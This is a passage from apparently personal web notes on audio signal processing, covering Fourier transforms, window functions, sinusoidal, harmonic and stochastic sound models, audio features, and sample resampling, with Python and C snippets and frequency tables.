cos(phi) = (exp(j * phi) + exp(-j * phi)) / 2
sin(phi) = (exp(j * phi) - exp(-j * phi)) / (2 * j)</code></pre>
                    <h3 id="sinusoidal-waves">Sinusoidal waves</h3>
                    <p>The most fundamental of audio waves is the sine
                    wave. In a discrete context, a real sinewave takes
                    the form of:</p>
                    <pre><code>y[n] = A * cos(w * n * Ts + phi) =
     = A * cos(2 * pi * f * n * Ts + phi) =
     = A * cos(2 * pi * n * f / fs + phi)

where:  A := amplitude
        w := angular frequency (radians/second)
        f = w / (2 * pi) := frequency in Hertz (cycles/second)
        phi := initial phase in radians
        n := time index
        Ts := sampling period (= 1 / fs)
        fs := sampling frequency</code></pre>
                    <p>Here is how to generate a real sine wave in
                    Python:</p>
                    <pre><code>A = .9
f = 440
fs = 44100
phi = np.pi / 2
n = np.arange(-0.002, 0.002, 1.0 / fs)
y = A * np.cos(2 * np.pi * f * n + phi)</code></pre>
                    <p>In audio DSP we often work with complex sinewaves
                    of the form:</p>
                    <pre><code>s[n] = exp(j * 2 * pi * k * n / N) = cos(2 * pi * k * n / N) + j * sin(2 * pi * k * n / N)
where: N := Number of samples
       k := Number of wave cycles</code></pre>
                    <pre><code>N = 500
k = 3
n = np.arange(-N/2, N/2)
s = np.exp(2j * np.pi * k * n / N)</code></pre>
                    <h3 id="convolution">Convolution</h3>
                    <p>A very important operation in DSP is the
                    convolution, which in a discrate domain can be
                    represented as:</p>
                    <pre><code>c[n] = convolve(a, b, n)

def convolve(a, b, n):
    c = 0
    for m in range(0, N - 1):
        c += a[m] * b[n - m]
    return c</code></pre>
                    <h3 id="discrete-fourier-transform-dft">Discrete
                    Fourier Transform (DFT)</h3>
                    <p>The DFT transforms a discrete time domain signal
                    into its spectral representation.</p>
                    <pre><code>X[k] = sum_n(x[n] * exp(-j2 * pi * k * n / N)), k = 0,..., N-1, n = 0, ... N-1</code></pre>
                    <p>The counterpart inverse DFT (IDFT) takes a
                    spectral signal and recovers the corresponding time
                    domain data:</p>
                    <pre><code>x[n] = 1/N * sum_k(X[k] * exp(j * 2 * pi * k * n / N)), k = 0,..., N-1, n = 0, ... N-1</code></pre>
                    <p>In Python, these can be implemented as
                    follows:</p>
                    <pre><code>def dft(x):
    N = len(x)
    X = np.zeros(N, dtype = np.complex_)
    for k in range(0, N):
        n = np.arange(N)
        s = np.exp(-2j * np.pi * k * n / N)
        X[k] = np.sum(x * s)
    return X

def idft(X):
    N = len(X)
    x = np.zeros(N, dtype = np.complex_)
    for n in range(0, N):
        k = np.arange(N)
        s = np.exp(2j * np.pi * k * n / N)
        x[n] = np.sum(X * s) / N
    return x</code></pre>
                    <p>Each bin <code>n</code> in the DFT output
                    corresponds to <code>bin = n * fs / N</code>. Where
                    N is the number of samples used to calculate the
                    DFT. Note that higher FFT windows result in narrower
                    spectral peaks for detected harmonics and thus
                    higher spectral resolution.</p>
                    <p>While the spectrum is a complex signal, we
                    normally visualize it using its magnitude and phase
                    graphs. The phase graph can look quite messy, but
                    using phase unwrapping (adding 2 * pi at
                    discontinuity points) we have a more visually clear
                    representation of the phase.</p>
                    <p>If we use zero-padding (adding zeroes at the end
                    of a signal) on a time domain signal before DFT, the
                    computed spectrum will be smoother. It is akin to an
                    interpolation in the spectral domain.</p>
                    <h4 id="properties">Properties</h4>
                    <ul>
                    <li>Linearity:
                    <ul>
                    <li>a * x1[n] + b * x2[n] &lt;-&gt; a * X1[k] + b *
                    X2[k]</li>
                    </ul></li>
                    <li>Shift:
                    <ul>
                    <li>x[n - n0] &lt;-&gt; exp(-j * 2 * pi * k * n0/N)
                    * X[k]</li>
                    </ul></li>
                    <li>Symmetry:
                    <ul>
                    <li>x[n] real &lt;-&gt; Real{X[k]} even and
                    Imaginary{X[k]} odd</li>
                    <li>x[n] real &lt;-&gt; |X[k]| even and phase X[k]
                    odd</li>
                    <li>x[n] real and even &lt;-&gt; Real{X[k]} even and
                    Imaginary{X[k]} = 0</li>
                    <li>x[n] real and even &lt;-&gt; |X[k]| even and
                    phase X[k] = n * pi</li>
                    </ul></li>
                    <li>Convolution:
                    <ul>
                    <li>conv(x1[n], x2[n]) &lt;-&gt; X1[k] * X2[k]</li>
                    <li>x1[n] * x2[n] &lt;-&gt; conv(X1[k], X2[k])</li>
                    </ul></li>
                    <li>Energy conservation:
                    <ul>
                    <li>sum(|x[n]|^2) = 1/N * sum(|X[k]|^2)</li>
                    </ul></li>
                    </ul>
                    <h4 id="fast-fourier-transform-fft">Fast Fourier
                    Transform (FFT)</h4>
                    <p>The DFT can be quite demanding to calculate, but
                    a more efficient algorithm called the FFT is used in
                    practice. The FFT takes advantage of the symetry
                    properties to dramatically reduce the computation
                    time, going from an O(N^2) (DFT) to O(N log(N))
                    (FFT).</p>
                    <p>To use the FFT, our input signal must be a power
                    of 2. To calculate the FFT of an arbitrary length
                    signal, we use a combination of zero-padding and
                    zero-phase windowing. The way it works, is that we
                    split the original signal in the middle, the
                    rightmost part will be located at the beginning of
                    the fft buffer, followed by the zero padding and
                    lastly by the leftmost part of the original
                    signal.</p>
                    <h5 id="resources">Resources</h5>
                    <ul>
                    <li><a
                    href="https://www.rosettacode.org/wiki/Fast_Fourier_transform">FFT
                    implementations (Rosetta code)</a></li>
                    <li><a
                    href="https://www.katjaas.nl/FFTwindow/FFTwindow.html">FFT
                    window overlap</a></li>
                    <li><a
                    href="https://kovleventer.com/blog/fft_real/">Packing
                    2 real FFTs at once</a></li>
                    <li><a
                    href="https://www.katjaas.nl/realFFT/realFFT.html">“Real”
                    FFT implementation</a></li>
                    <li><a
                    href="https://community.infineon.com/gfawx74859/attachments/gfawx74859/psoc135/31403/1/A_General_Comparison_Of_FFT_Algorithms_713229618.pdf">A
                    General Comparison Of FFT Algorithms</a></li>
                    <li><a
                    href="https://ieeexplore.ieee.org/document/301854">A
                    new look at the comparison of the fast Hartley and
                    Fourier transforms</a></li>
                    <li><a
                    href="https://ieeexplore.ieee.org/document/1457236">The
                    fast Hartley transform</a></li>
                    <li><a
                    href="https://dl.acm.org/doi/10.1109/TC.1987.1676877">The
                    Fast Hartley Transform Algorithm</a></li>
                    <li><a
                    href="https://pubmed.ncbi.nlm.nih.gov/18223727/">Optical
                    synthesis of the Hartley transform</a></li>
                    <li><a
                    href="https://en.wikipedia.org/wiki/Cooley%E2%80%93Tukey_FFT_algorithm">Cooley-Tukey
                    FFT algorithm (Wikipedia)</a></li>
                    <li><a
                    href="https://community.infineon.com/gfawx74859/attachments/gfawx74859/psoc135/31403/1/A_General_Comparison_Of_FFT_Algorithms_713229618.pdf">A
                    general comparison of FFT Algorithms</a></li>
                    <li><a
                    href="https://kovleventer.com/blog/dft_fft_2/">Discrete
                    and Fast Fourier transforms Part 2: FFT</a></li>
                    <li><a
                    href="https://www.youtube.com/watch?v=iTMn0Kt18tg">Divide
                    and conquer FFT</a></li>
                    <li><a
                    href="https://www.youtube.com/watch?v=EsJGuI7e_ZQ">The
                    Fast Fourier Transform (FFT) Algorithm</a></li>
                    <li><a
                    href="https://www.youtube.com/watch?v=yJrJi-4SDUQ">Aliasing
                    and Oversampling for DSP Engineers - Sam Fischmann -
                    ADC23</a></li>
                    </ul>
                    <h4
                    id="short-time-fourier-transform-stft">Short-time
                    Fourier Transform (STFT)</h4>
                    <p>If we work with real time audio, we don’t always
                    have the entirety of the audio signal when we start
                    processing, but rather, we operate on chunks/frames
                    of audio. Furthermore we can define the STFT as a
                    way of working with these chunks of audio. In short,
                    it involves the multiplication of the chunk with a
                    window function and then performing a normal fourier
                    transform of the signal for that chunk:</p>
                    <pre><code>X[k] = sum(w[n] * x[n+iH] * exp(-j * 2 * pi * k * n / N))
    where:
        n := time index (-N/2 &lt;= n &lt;= N/2 - 1)
        w := analysis window
        i := frame number
        H := hop-size</code></pre>
                    <p>The effect of windowing on the spectra of a
                    sinusoid is the same as shifting the spectra of the
                    window to both the negative and positive frequencies
                    of the sinusoid.</p>
                    <p>There are different types of window, with
                    different spectral properties. Usually we evaluate
                    windows by measuring the width of the main lobe and
                    the amplitude of the side lobes.</p>
                    <p>Some of the most common windows used in audio
                    processing are:</p>
                    <ul>
                    <li>Boxcar/rectangular:
                    <ul>
                    <li>w[n] = 1 when -M/2 &lt;= n &lt; M/2, w[n] = 0
                    otherwise</li>
                    <li>The spectrum is a sinc function
                    <code>W[k] = sin(pi * k) / sin(pi * k / M)</code></li>
                    <li>main-lobe width: 2 bins</li>
                    <li>side-lobe level: -13.3dB</li>
                    </ul></li>
                    <li>Hanning
                    <ul>
                    <li>One of the most popular for audio
                    processing.</li>
                    <li>w[n] = 0.5 + 0.5 * cos(2 * pi * n / M)</li>
                    <li>main-lobe width: 4 bins</li>
                    <li>side-lobe level: -31.5dB</li>
                    </ul></li>
                    <li>Hamming
                    <ul>
                    <li>Similar to Hanning, with better side-lobe level
                    but more sidelobes across the entire spectra.</li>
                    <li>w[n] = 0.54 + 0.46 * cos(2 * pi * n / M)</li>
                    <li>main-lobe width: 4 bins</li>
                    <li>side-lobe level: -42.7dB</li>
                    </ul></li>
                    <li>Blackman
                    <ul>
                    <li>Really good side-lobe level not that wide
                    spectral coverage.</li>
                    <li>w[n] = 0.42 - 0.5 * cos(2 * pi * n / M) + 0.08 *
                    cos(4 * pi * n / M)</li>
                    <li>main-lobe width: 6 bins</li>
                    <li>side-lobe level: -58dB</li>
                    </ul></li>
                    <li>Blackman-Harris
                    <ul>
                    <li>Excellent side-lobe, pretty much below the noise
                    level of a 16bit signal.</li>
                    <li>w[n] = 1 / M * sum(a[l] * cos(l * 2 * pi * n /
                    N)), 0 &lt;= l &lt; 4 a[0] = 0.35875, a[1] =
                    0.48829, a[2] = 0.14128, a[3] = 0.01168</li>
                    <li>main-lobe width: 8 bins</li>
                    <li>side-lobe level: -92dB</li>
                    </ul></li>
                    </ul>
                    <p>In addition to the window type, we also need to
                    consider the effect of window size, odd vs even
                    windows, FFT size and hop size. Smaller window sizes
                    have poor spectral resolution compared with larger
                    ones. Odd size windows have their phases centered
                    around zero, which is preferable. FFT size can be
                    chosen independently from the window size (this
                    involves zero-padding the signal). Large hopping
                    size can produce modulation artifacts of the
                    spectra, which can be audible after the IDFT (for
                    example if M = 201 and H = 100, this isn’t audible
                    when M = 201 and H = 50).</p>
                    <p>For analysis purposes we should be aware of the
                    time-frequency tradeoff: While larger window sizes
                    give us better spectral resolution, we lose time
                    domain information, and viceversa.</p>
                    <p>The inverse STFT for a single frame is the same
                    as the regular IDFT, though when multiple frames are
                    involved, they should be shifted and added
                    accordingly. For a full sound it bouls down to: y[n]
                    = x[n] * sum(w[n - i * H]). Depending on the window
                    type and if the amplitude modulation is to be
                    avoided, different overlap sizes can be tried. For
                    example, for a Blackman window, a 4 * N overlap
                    avoids any distortion. A similar result is obtained
                    with a 2 * N overlap when using a non-symmetric Hann
                    window.</p>
                    <p>For more information about FFT windows, check out
                    <a
                    href="https://www.electronicdesign.com/technologies/analog/article/21798689/choose-the-right-fft-window-function-when-evaluating-precision-adcs">this
                    article</a></p>
                    <h3 id="the-sinusoidal-model">The sinusoidal
                    model</h3>
                    <p>For a given sound, we can detect the main
                    harmonics by using a sinusoidal model, where the
                    harmonic peaks produced by the STFT can be detected
                    on the spectral domain by looking at the peaks. In
                    essence we model a sound as a sum of sinusoids:</p>
                    <p><code>y[n] = sum(As[n] * cos(2 * pi * fs[n] * n))</code></p>
                    <p>To obtain enough frequency resolution for this
                    purpose we need to consider the effect of the main
                    lobe width of the window function.</p>
                    <pre><code>If B = Bw * fs / M and delta = abs(f[k+1] - f[k]):

M &gt;= Bw * fs / delta

where: B := Bandwidth of the main-lobe of a window
       Bw := Number of samples of the main-lobe
       fs := Sampling frequency (Hz)
       M  := Window size
       f[k] and f[k+1] := Frequency of sinusoids in Hz.
       delta := Frequencies we want to resolve as distinct</code></pre>
                    <p>In many cases we want to detect the harmonics of
                    a signal, so we consider <code>delta = f0</code>
                    (the fundamental frequency / initial harmonic of a
                    sound) and thus <code>M &gt;= Bw * fs / f0</code>. A
                    good window size is twice the minimum number, in
                    other words: <code>M = 2 * Bw * fs / f0</code></p>
                    <p>The peaks in a spectrum can be detected as a
                    local maxima by looking at the derivative sign or
                    for each point checking if the neighbours at either
                    side are smaller. This method is subject to noise,
                    luckily an easier method to obtain better resolution
                    in a signal spectrum is to use zero-padding, for
                    example by making the FFT size N much larger than
                    the window size M. Other smoothing methods could
                    also be used depending on your needs. This method
                    may still not give us enough resolution unless the N
                    increse is very large however, which would be
                    computationally very expensive. An alternative
                    method is to try to fit a parabola
                    <code>x[n] = a * (n - p) ^ 2 + b</code> where
                    <code>p</code> is the center of the parabola,
                    <code>a</code> is the concavity measure and
                    <code>b</code> is the offset. We can combine the
                    zero-padding with the parabolic interpolation to
                    obtain a more precise peak center.</p>
                    <p>So far the method described would work for a
                    single frame, but in order to use a real signal, we
                    need to make sure the peaks are stable across
                    multiple frames. We can use a spectrogram for this
                    purpose and define stability in terms of frequency
                    and amplitude as well as the phase derivative in
                    time/frequency.</p>
                    <p>The sinusoidal model can be used for additive
                    synthesis in addition to be an analysis tool. Adding
                    the values of multiple sinusoids can be quite an
                    expensive operation when working on the time domain,
                    but this can be done much faster by working with the
                    spectral model and then using the IDFT to obtain the
                    final sound. Using one of the windows we previously
                    discuss, we can generate arbitrary sinusoids. Even
                    better, we only need to focus on the main lobe of
                    the window for this purpose if we use a window with
                    a high enough SNR, like the Blackman-Harris.</p>
                    <h3 id="the-harmonic-model">The harmonic model</h3>
                    <p>Following from the sinusoidal model, where a
                    sound is represented by a sum of sinusoids. The
                    harmonic model restricts which harmonics/sinusoids
                    can be part of the model by making them a multiple
                    of the fundamental frequency:</p>
                    <pre><code>y[n] = sum(A[n] * cos(2 * pi * r * f0[n] * n))

where: A[n] := instantaneous amplitude
       f0[n] := fundamental frequency (Hz)
       r := harmonic number

Y[k] = sum(A * W[k - r * f0&#39;])

where: A := instantaneous amplitude
       W := spectrum of the analysis window
       f0&#39; := normalized fundamental frequency
       r := harmonic number</code></pre>
                    <p>The main challenge of this model is the
                    identification of the fundamental frequence (f0),
                    specially when considering not only monophonic
                    signals, but also polyphonic or enharmonic ones.
                    Polyphonic detection is only really feasible in the
                    spectral domain, but we can perform f0 detection for
                    monophonic signals on the time domain.</p>
                    <p>One of the tools we have at our disposal is the
                    autocorrelation function in the time domain:</p>
                    <pre><code>r[l] = sum(x[n] * x[n + l]), where l := lag = 0, 1, ..., N - 1</code></pre>
                    <p>We can calculate the autocorrelation for
                    different lag values to study the peak distribution,
                    in some signals is easier than others.</p>
                    <p>Another useful function for this purpose is the
                    <a
                    href="http://audition.ens.fr/adc/pdf/2002_JASA_YIN.pdf">YIN
                    algorithm</a>, often use in speech monophonic
                    signals. It tries to find the minimum value of the
                    square difference of samples:</p>
                    <pre><code>d[l] = sum((x[n] - x[n + l])^2), where l := lag = 0, 1, ..., N - 1</code></pre>
                    <p>In the frequency domain we can detect harmonic
                    peaks as previously described, and then
                    heuristically select the common divisor(s) of the
                    harmonic series that best explain the spectral
                    peaks. The <a
                    href="https://www.montana.edu/rmaher/publications/maher_jasa_0494_2254-2263.pdf">two-way
                    mismatch</a> (TWM) algorithm by Maher and Beuchamp
                    is one method of performing pattern matching between
                    the predicted and measured peaks. This algorithm
                    will work with polyphonic signals as well as
                    monophonic, but clearly the former are more
                    challenging to deal with.</p>
                    <p>Similarly <a
                    href="https://ieeexplore.ieee.org/document/6739213">Salamon
                    and Gómez</a> (2012) propose and algorithm to find
                    the prominent pitch in polyphonics signals.</p>
                    <p>These are quite involved algorithms that go a bit
                    too far from me to summarize right now, but the
                    original research articles should serve as a good
                    baseline for their understanding. Frequency
                    detection is still an ongoing research field,
                    particularly with complex signals.</p>
                    <p>One useful thing to note is that if we know the
                    fundamental frequency, we can calculate the maximum
                    number of harmonics that can appear in a signal
                    with:</p>
                    <pre><code>n_harm = fs / (2 * f0)</code></pre>
                    <p>When talking about harmonics and the harmonic
                    series, also known as the overtone series it’s worth
                    noting that when working with the western chromatic
                    scale of 12 semitones per scale, the difference
                    between one pitch and the next is of:</p>
                    <pre><code>pitch[p] = pitch[p - 1] * 2 ^ (1 / 12)</code></pre>
                    <p>Between two subsequent pitches we divide the
                    frequency range in 100 “cents”. The difference in
                    “cents” between two frequencies f0 and f1 (where f0
                    &lt; f1) is:</p>
                    <pre><code>n_cents = 1200 * log2(f1 / f0)</code></pre>
                    <p>Since the pitch distribution is logarithmic, the
                    multiple harmonics of a fundamental frequency for a
                    given pitch have an musical intervalic
                    interpretation. The fundamental frequency is
                    considered the root of the interval, the second
                    harmonic is an octave, the 3rd is a 5th. These
                    intervals are not perfect when compared to equal
                    temperament tuning. In this table you can find the
                    initial 16 harmonics and the intervalic
                    representation for each of them.</p>
                    <table>
                    <thead>
                    <tr>
                    <th style="text-align: left;">Harmonic</th>
                    <th>Interval from root</th>
                    <th style="text-align: left;">Detune (Cents)</th>
                    <th style="text-align: left;">Cents from root</th>
                    </tr>
                    </thead>
                    <tbody>
                    <tr>
                    <td style="text-align: left;">1</td>
                    <td>I</td>
                    <td style="text-align: left;"></td>
                    <td style="text-align: left;">0 ct</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">2</td>
                    <td>VIII</td>
                    <td style="text-align: left;"></td>
                    <td style="text-align: left;">1200 ct</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">3</td>
                    <td>V</td>
                    <td style="text-align: left;">+2 ct</td>
                    <td style="text-align: left;">1902 ct</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">4</td>
                    <td>VIII</td>
                    <td style="text-align: left;"></td>
                    <td style="text-align: left;">2400 ct</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">5</td>
                    <td>III</td>
                    <td style="text-align: left;">-14 ct</td>
                    <td style="text-align: left;">2786 ct</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">6</td>
                    <td>V</td>
                    <td style="text-align: left;">+2 ct</td>
                    <td style="text-align: left;">3102 ct</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">7</td>
                    <td>VIIb</td>
                    <td style="text-align: left;">-31 ct</td>
                    <td style="text-align: left;">3369 ct</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">8</td>
                    <td>VIII</td>
                    <td style="text-align: left;"></td>
                    <td style="text-align: left;">3600 ct</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">9</td>
                    <td>II</td>
                    <td style="text-align: left;">+4 ct</td>
                    <td style="text-align: left;">3804 ct</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">10</td>
                    <td>III</td>
                    <td style="text-align: left;">-14 ct</td>
                    <td style="text-align: left;">3986 ct</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">11</td>
                    <td>Vb</td>
                    <td style="text-align: left;">-49 ct</td>
                    <td style="text-align: left;">4151 ct</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">12</td>
                    <td>V</td>
                    <td style="text-align: left;">+2 ct</td>
                    <td style="text-align: left;">4302 ct</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">13</td>
                    <td>VIb</td>
                    <td style="text-align: left;">+41 ct</td>
                    <td style="text-align: left;">4441 ct</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">14</td>
                    <td>VIIb</td>
                    <td style="text-align: left;">-31 ct</td>
                    <td style="text-align: left;">4569 ct</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">15</td>
                    <td>VII</td>
                    <td style="text-align: left;">-12 ct</td>
                    <td style="text-align: left;">4688 ct</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">16</td>
                    <td>VIII</td>
                    <td style="text-align: left;"></td>
                    <td style="text-align: left;">4800 ct</td>
                    </tr>
                    </tbody>
                    </table>
                    <h3 id="the-stocastic-model">The stocastic
                    model</h3>
                    <p>Sinusoidal and harmonic models tell a story about
                    the periodic sounds of a signal. We can analyze a
                    signal using stochastic models with tools like
                    autocorrelation, power spectral density, mean,
                    variance and probability distributions. Complex
                    sounds, the attack of instruments and noise can be
                    studied with stochastic models, and we can use these
                    in addition to the harmonic or sinusoidal models.
                    Think of sounds like the ocean waves breaking on the
                    shore, the wind hitting a microphone, etc.</p>
                    <p>There are many stochastic models available, one
                    of which consist onthe convolution of white noise
                    with the filtered approximation of our signal:</p>
                    <pre><code>y[n] = sum(u[n] * h[n-k])
    where: u[n] := white noise
           h[n] := impulse response of filter approximating input signal x[n]</code></pre>
                    <p>The phase of white noise is essentially composed
                    of random numbers within the phase range, for this
                    reason we can see the model in the spectral domain
                    as the magnitude of our filtered input sound and
                    random numbers as the phase.</p>
                    <p>One approach to obtain the filtered magnitude
                    spectra is to use the LPC approximation, where we
                    minimize the error function such that:</p>
                    <pre><code>h[n] = sum(a[k] * x[n - k])
error = infsum((x[n] - sum(a[k] * x[n - k]) ^ 2)) = infsum((x[n] - h[n]) ^ 2)
    where: a[k] := filter coefficients</code></pre>
                    <p>This method is very useful to obtain the formant
                    (main resonances) of a vocal sound. Read more about
                    <a
                    href="https://www.soundonsound.com/techniques/formant-synthesis">formant
                    synthesis here</a>.</p>
                    <p>A simpler approach is the use of an envelope
                    approximation by using a low pass filter and zero
                    padding the dft before the idft transform.</p>
                    <pre><code>a[n] = IDFT(LP(DFT(x[n])))
b[n] = IDFT(DFT(ZP(a[n])))
    where: LP := low pass filter
           ZP := zero-padding</code></pre>
                    <p>We can also use residuals for stochastic models.
                    The residual refers to the the stochastic model
                    obtained from the substraction of the modeled
                    sinusoids (from the sinusoidal or harmonic model) to
                    the original signal:</p>
                    <pre><code>y[n] = sum(A[n] * cos(2 * pi * f[n] * n)) + xr[n] = ys[n] + xr[n]
    where: ys[n] := sinusoidal model composed of R sinusoids
           xr[n] := x[n] - ys[n]
           x[n] := our original signal

Y[k] = sum(A * W[k - f]) + Xr[k] = Ys[k] + Xr[k]</code></pre>
                    <p>Residuals are difficult to model, however, since
                    they are formed of large amounts of data without
                    many knobs to adjust, which is why other stochastic
                    models may be more useful for our purposes if that
                    knob tweaking is the goal. What we can do, however,
                    is to take the extracted residuals, and then use it
                    for modeling the stochastic components as previously
                    described.</p>
                    <h3 id="transformations">Transformations</h3>
                    <p>We can apply transformations to our signal in
                    several ways, but it is very convenient to do these
                    on the frequency domain or to modify one of our
                    models. For example, filtering via convolution is an
                    operation that can be expensive to compute in the
                    time domain, but it’s just a multiplication on the
                    frequency domain. Better yet, if our magnitude
                    spectra is in logarithmic scale (dB), instead of
                    multiplications we use additions
                    (<code>log(a * b) = log(a) + log(b)</code>), which
                    are generally much cheaper to compute. In the STFT
                    context, a filter doesn’t change with time and it
                    will be applied to each frame as a multiplication in
                    the spectral magnitude and addition of the phases,
                    though we generally only care about the magnitude of
                    a filter, and if the filter is zero-phase windowed
                    it will have no effect on the end result:</p>
                    <pre><code>Y[l][k] = |X[l][k]| * |H[k]| * exp(j * phase_x[l][k]  + j * phase_h)</code></pre>
                    <p>Another operation we may want to perform on the
                    spectral domain is “morphing”. It’s similar to
                    filtering, except the filter also changes in time.
                    For example if we filtered our original x[n] signal
                    with a z[n] signal that is transformed to the
                    spectral domain and whose magnitude is smoothed out.
                    For example we can make an orchestral sample x[n]
                    sound as if being played by a vocal sound z[n],
                    think a Vocoder effect.</p>
                    <p>If we have a sinusoidal model, we only want to
                    modify the amplitude values of the sinusoids and
                    later regenerate the phase values based on the
                    modified model, since the phase is very sensitive to
                    modifications. With this, we can resythesize
                    samples, setting onsets in different locations.
                    Likewise, we can modulate the frequencies to change
                    in a variety of ways. The similar concept can be
                    applied to harmonic models and compound
                    harmonic/stochastic models. The possibilities are
                    endless with regards to transformation and morphing
                    operations. Some examples include frequency
                    transposition
                    (<code>fh[l] = s * f[l] * f[l]</code>), frequency
                    shifting (<code>fh[l] = s * f[l] + f[l]</code>),
                    frequency stretching
                    (<code>fh[l] = fh[l]  / h * h^(s * f[l])</code>).</p>
                    <h3 id="audio-features">Audio features</h3>
                    <p>Sound analysis has a large number of tools in
                    addition to the models previously described.
                    Analyzing an audio file can result in a variety of
                    metrics/features that can be used for studying sound
                    characteristics or as a jumping point for more
                    creative transformations.</p>
                    <p>Feature extraction can be done in the time and
                    spectral domain, and we can also differentiate
                    algorithms that work on a single frame or multiple
                    frames. Some examples:</p>
                    <ul>
                    <li>Single-frame spectral features:
                    <ul>
                    <li>Energy, RMS, Loudness
                    <ul>
                    <li>Energy: sum(X[k] ^ 2)</li>
                    <li>RMS: sqrt(sum(X[k] ^ 2) / N ^ 2)</li>
                    <li>Loudness (Steven’s power law): sum(X[k] ^ 2) ^
                    0.67</li>
                    </ul></li>
                    <li>Spectral centroid: sum(k * abs(X[k])) /
                    sum(abs(X[k]))</li>
                    <li>Mel-frequency ceptral coefficients (MFCC)</li>
                    <li>Pitch salience</li>
                    <li>Chroma (Harmonic pitch class profile, HPCP)</li>
                    </ul></li>
                    <li>Multiple-frame spectral features
                    <ul>
                    <li>Event segmentation / onset detection
                    <ul>
                    <li>Spectral flux: sum(H(abs(X[l][k]) -
                    abs(X[l-1][k]))) where H(x) = (x + abs(x)) / 2</li>
                    <li>Onset detection based on high frequency content:
                    HFC[l] - HFC[l -1] where HFC = sum(abs(X[k]) * k ^
                    2)</li>
                    </ul></li>
                    <li>Predominant pitch</li>
                    <li>Statistics of single frame features</li>
                    </ul></li>
                    </ul>
                    <h2 id="tools">Tools</h2>
                    <ul>
                    <li><a
                    href="https://www.audacityteam.org/">Audacity</a></li>
                    <li><a
                    href="https://www.sonicvisualiser.org/">SonicVisualiser</a></li>
                    <li><a
                    href="https://www.python.org/">Python</a></li>
                    <li><a
                    href="https://www.mathworks.com/products/matlab.html">Matlab</a></li>
                    </ul>
                    <h2 id="sampling">Sampling</h2>
                    <p>Sampling is easy enough when the sampling rate of
                    the sample matches the playing audio rate
                    (e.g. 48KHz samples on a 48KHz audio stream),
                    wrapping around as needed in case of looping
                    samples:</p>
                    <pre><code>typedef struct Sample {
    float *data;
    int len;
    int pos;
} Sample;

int
audio_callback(float *output, int len) {
    for (int x = 0; x &lt; len; x++) {
        if (sample-&gt;data == NULL) {
            continue;
        }

        // Looping.
        if (sample-&gt;pos &gt;= sample-&gt;len) {
            sample-&gt;pos = 0;
        }

        output[x] = sample-&gt;data[sample-&gt;pos++];
    }
}</code></pre>
                    <p>When “resampling”, for increasing/decreasing the
                    pitch or changing the sample duration, we will run
                    into a number of issues. Resampling means we will be
                    playing the sample at a different speed that the one
                    it was originally recorded at. We generally want a
                    fine control over this speed, meaning we want a
                    fractional number for our positional increment
                    (floating or fixed point numbers). For now I’ll
                    stick to floating point numbers, but fixed precision
                    integers have a number of advantages we will go over
                    at a later time.</p>
                    <p>We already know that an increment of 1 will play
                    the sound at the original rate, but what should the
                    sample increment be to play the note at a desired
                    pitch? Well, a rate of 2 corresponds to the original
                    pitch shifted one octave up, and conversely a rate
                    of 0.5 will be one octave down instead.</p>
                    <p>For all the semitones in between, they are
                    separated from the previous semitone by 2 ^ (1 /
                    12), so:</p>
                    <pre><code>...
B  = C  / pow(2, (1/12))
C# = C  * pow(2, (1/12))
D  = C# * pow(2, (1/12))
...</code></pre>
                    <p>Furthermore, we can pre-calculate the frequencies
                    and fractional increment amounts for each note, for
                    example, using a Python script to cover C0-C9:</p>
                    <pre><code>C4 = 261.625580
interval = 2 ** (1 / 12)
for i, octave in enumerate([1./16., 1./8., 1./4., 1./2., 1., 2., 4., 8., 16., 32.]):
    base = C4 * octave
    freqs = [base]
    increments = [octave]
    for j in range(1, 12):
        freqs += [freqs[j - 1] * interval]
        increments += [increments[j - 1] * interval]

    print(list(zip(freqs, increments)))</code></pre>
                    <p>If we run this script and look at the C4-B4
                    octave we get the following note/increment
                    pairs:</p>
                    <table>
                    <thead>
                    <tr>
                    <th style="text-align: left;">Note</th>
                    <th style="text-align: left;">Frequency</th>
                    <th style="text-align: left;">Increment</th>
                    </tr>
                    </thead>
                    <tbody>
                    <tr>
                    <td style="text-align: left;">C4</td>
                    <td style="text-align: left;">261.62558</td>
                    <td style="text-align: left;">1.0</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">C#4</td>
                    <td style="text-align: left;">277.1826465503454</td>
                    <td
                    style="text-align: left;">1.0594630943592953</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">D4</td>
                    <td style="text-align: left;">293.6647844169278</td>
                    <td style="text-align: left;">1.122462048309373</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">D#4</td>
                    <td
                    style="text-align: left;">311.12700120271364</td>
                    <td
                    style="text-align: left;">1.1892071150027212</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">E4</td>
                    <td style="text-align: left;">329.6275754329552</td>
                    <td
                    style="text-align: left;">1.2599210498948734</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">F4</td>
                    <td style="text-align: left;">349.2282510543508</td>
                    <td
                    style="text-align: left;">1.3348398541700346</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">F#4</td>
                    <td style="text-align: left;">369.9944434997273</td>
                    <td
                    style="text-align: left;">1.4142135623730954</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">G4</td>
                    <td
                    style="text-align: left;">391.99545800596655</td>
                    <td style="text-align: left;">1.498307076876682</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">G#4</td>
                    <td style="text-align: left;">415.3047209137905</td>
                    <td style="text-align: left;">1.5874010519682</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">A4</td>
                    <td
                    style="text-align: left;">440.00002472134804</td>
                    <td
                    style="text-align: left;">1.6817928305074297</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">A#4</td>
                    <td
                    style="text-align: left;">466.16378770944584</td>
                    <td
